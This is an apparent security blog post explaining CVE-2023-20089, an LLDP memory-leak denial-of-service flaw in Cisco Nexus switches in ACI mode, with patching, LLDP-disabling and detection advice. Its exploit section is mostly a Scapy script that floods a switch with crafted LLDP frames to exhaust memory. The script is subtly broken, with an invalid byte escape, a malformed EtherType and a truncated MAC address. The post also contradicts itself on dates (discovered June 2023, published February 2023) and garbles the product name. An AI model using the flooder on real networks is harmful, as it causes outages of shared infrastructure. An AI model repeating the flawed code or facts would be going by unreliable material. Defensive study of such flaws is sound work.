CVE-2023-20089 - Memory Leak Exploit in Cisco Nexus 900 (ACI Mode) via LLDP Packets

In June 2023, security researchers uncovered a critical flaw—CVE-2023-20089—impacting Cisco Nexus 900 Series Fabric Switches when running in Application Centric Infrastructure (ACI) Mode. This vulnerability lives inside the device’s handling of Link Layer Discovery Protocol (LLDP) traffic. If exploited, it can lead to a memory leak and potentially restart the switch, triggering a denial-of-service (DoS) attack. In this post, we’ll break down in simple language how the exploitation works, what the risks are, and how to protect your Cisco switches.

Vulnerability Overview

What Happens?  
When a Cisco Nexus 900 (ACI Mode) receives specially crafted LLDP packets from a directly connected device, it may not check the packet content properly. This bad error handling causes the memory to leak—a chunk of RAM is consumed each time a bad packet is received, and never released. As this “leak” grows, the device can eventually run out of memory and crash, causing an unexpected reload.

Who’s at Risk?

Devices: Cisco Nexus 900 Series running in ACI Mode

- Location: The attacker must be directly connected or in the same Layer 2 segment as the target device. No "drive-by" exploit from the internet—this is a local, adjacent attack.

Cisco Security Advisory:

cisco-sa-n9k-lldpmemleak-QKbTRT6z

NVD CVE Entry:

NVD - CVE-2023-20089

How the Exploit Works

The core problem lies in how Nexus switches parse LLDP packets. A malformed packet can slip through error checking. If an attacker sends a swarm of these packets, the switch’s memory slowly fills up, eventually forcing it to reboot.

Attack Prerequisites

Example Code Snippet: Crafting Malicious LLDP Packets

Below is a sample Python script using Scapy to send continuous, crafted LLDP packets. *This is for educational purposes only—do not attack networks you do not own or have permission to test.*

from scapy.all import *
import time

def send_malicious_lldp(target_iface):
    lldp_chassis_id = b'\x02\x07CiscoMAC'     # Fake Chassis ID
    bogus_data = b'\xa' * 50                 # Malformed TLV to trigger leak
    end_tlv = b'\x00\x00'                     # End of LLDPDU TLV

    lldp_payload = lldp_chassis_id + bogus_data + end_tlv
    ether = Ether(dst="01:80:c2:00:00:e", type=x88cc) / Raw(load=lldp_payload)

    print(f"Sending crafted LLDP packets on {target_iface}. Press CTRL+C to stop.")
    try:
        while True:
            sendp(ether, iface=target_iface, verbose=False)
            time.sleep(.1)  # tweak rate as needed
    except KeyboardInterrupt:
        print("\nStopped.")

if __name__ == "__main__":
    send_malicious_lldp("eth")

Cisco Fixes & Recommendations

- Patch it! Always update to the latest Cisco-recommended firmware where this bug is fixed. See Cisco's advisory for patched versions.

If you don’t need LLDP on an interface, turn it off

  switch(config)# interface EthernetX/Y
  switch(config-if)# no lldp transmit
  switch(config-if)# no lldp receive
  

- Network Segmentation: Limit Layer 2 adjacency—only connect trusted devices directly to management switches.

How To Detect A Potential Attack

- Monitor switch logs and uptime: Repeated unexpected reboots or memory warnings can signal an ongoing attack.

Summary

CVE-2023-20089 is a classic example of why deep protocol parsing needs tight error handling, especially on core networking gear. By exploiting bad LLDP traffic, a local, adjacent attacker can leak memory and restart Cisco Nexus 900 switches in ACI Mode—leading to downtime.

Watch your logs!

*Read Cisco’s advisory here and always keep your infrastructure up to date.*

Timeline

Published on: 02/23/2023 20:15:00 UTC
Last modified on: 03/07/2023 22:02:00 UTC